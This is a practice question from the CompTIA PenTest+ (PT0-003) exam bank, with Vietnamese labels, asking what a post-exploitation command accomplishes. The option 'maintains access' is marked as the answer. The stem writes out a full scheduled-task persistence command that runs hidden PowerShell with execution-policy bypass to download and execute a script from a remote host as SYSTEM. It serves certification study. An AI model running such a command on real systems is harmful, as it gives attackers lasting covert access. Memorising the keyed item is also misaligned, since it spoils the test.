Câu 60: PT0-003: CompTIA PenTest+

A tester obtained access to a computer using a SMB exploit and now has a shell access into the target computer. The tester runs the following on the obtained shell:schtask /create /tn Updates /tr "C:\windows\syswow64\Windows\WindowsPowershell\v1.0\powershell.exe hidden -NoLogo -NoInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://10.10.1.2/asd')))'" /sc onlogon /ru SystemWhich of the following does this action accomplish?

1. A. Upgrades the shell performing a privilege escalation activity
2. B. Uses the Windows Update service to move the shell connection and avoid detection
3. C. Maintains access into the compromised computer — đáp án hiện tại
4. D. Forwards all the communication from the compromised host to the host 10.10.1.2